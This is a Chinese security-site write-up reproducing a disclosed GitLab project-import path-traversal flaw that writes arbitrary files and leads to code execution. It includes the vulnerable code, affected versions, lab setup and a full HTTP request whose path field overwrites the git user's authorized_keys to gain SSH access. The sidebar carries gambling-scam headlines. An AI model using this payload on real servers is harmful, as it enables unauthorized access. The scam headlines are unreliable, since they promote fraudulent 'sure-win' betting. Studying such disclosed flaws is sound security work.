ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → Gitlab远程代码执行漏洞

Gitlab远程代码执行漏洞

时间:2018-05-31 07:00:59人气:作者:本站作者我要评论

 Gitlab远程代码执行漏洞

0x00前言

近期Hackerone公开了Gitlab的任意文件写入,导致远程代码执行漏洞,实践一波。

0x01漏洞描述

app/services/projects/gitlab_project_import_service.rb

  1. # This service is an adapter used to for the GitLab Import feature, and
  2. # creating a project from a template.
  3. # The latter will under the hood just import an archive supplied by GitLab.
  4. module Projects
  5.   class GitlabProjectsImportService
  6.     # ...
  7.     def execute
  8.       FileUtils.mkdir_p(File.dirname(import_upload_path))
  9.       FileUtils.copy_entry(file.path, import_upload_path)
  10.       Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
  11.                                                current_user,
  12.                                                import_upload_path,
  13.                                                params[:path]).execute
  14.     end
  15.     # ...
  16.     def tmp_filename
  17.       "#{SecureRandom.hex}_#{params[:path]}"
  18.     end
  19.   end
  20. end

import_upload_path将未过滤的参数params[:path]添加到gitlab上传目录,导致存在目录遍历,此外由于文件内容没有限制,最终导致任意内容写入任意文件。由于默认gitlab创建并启动了git账户,该账户默认目录为/var/opt/gitlab/,修改.ssh/authorized_keys文件为攻击者的公钥,即可以git用户身份成功登录服务器,从而导致命令执行。

影响版本

  • GitLab CE and EE 8.9.0 - 9.5.10
  • GitLab CE and EE 10.0.0 - 10.1.5
  • GitLab CE and EE 10.2.0 - 10.2.5
  • GitLab CE and EE 10.3.0 - 10.3.3

0x02漏洞利用复现

1. 环境搭建

利用docker搭建gitlab

  1. docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22  gitlab/gitlab-ce:10.2.4-ce.0

修改配置文件

  1. docker exec -it gitlab /bin/bash
  2. nano /etc/gitlab/gitlab.rb
  3. # 去掉gitlab的注释并修改对应ip
  4. external_url '192.168.1.100'
  5. #重新载入配置文件
  6. gitlab-ctl reconfigure
  7. # 访问对应ip,第一次需要设置密码,并新建用户
  8. http://www.cesafe.com/

本地利用ssh-keygen生成公私钥对(用于攻击替换和登录)

2. POC及利用

登录gitlab->创建项目->Import project->GitLab Import->选择文件

然后选择前面ssh-keygen生成的公钥(注意是公钥)

点击import project后,burp修改path的值为

  1. /../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys

数据包如下

  1. POST /import/gitlab_project HTTP/1.1
  2. Host: www.cesafe.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------20787582420424
  8. Content-Length: 1214
  9. Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
  10. Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
  11. Connection: close
  12. Upgrade-Insecure-Requests: 1
  13. -----------------------------20787582420424
  14. Content-Disposition: form-data; name="utf8"
  15. ✓
  16. -----------------------------20787582420424
  17. Content-Disposition: form-data; name="authenticity_token"
  18. JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA==
  19. -----------------------------20787582420424
  20. Content-Disposition: form-data; name="namespace_id"
  21. {:value=>2}
  22. -----------------------------20787582420424
  23. Content-Disposition: form-data; name="path"
  24. ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
  25. -----------------------------20787582420424
  26. Content-Disposition: form-data; name="namespace_id"
  27. 2
  28. -----------------------------20787582420424
  29. Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
  30. Content-Type: application/vnd.ms-publisher
  31. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4
  32. -----------------------------20787582420424--

4.发送请求后,使用用户名git以及生成的私钥登录gitlab服务器,如下是执行命令的demo

  1. $ id
  2. uid=998(git) gid=998(git) groups=998(git)

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网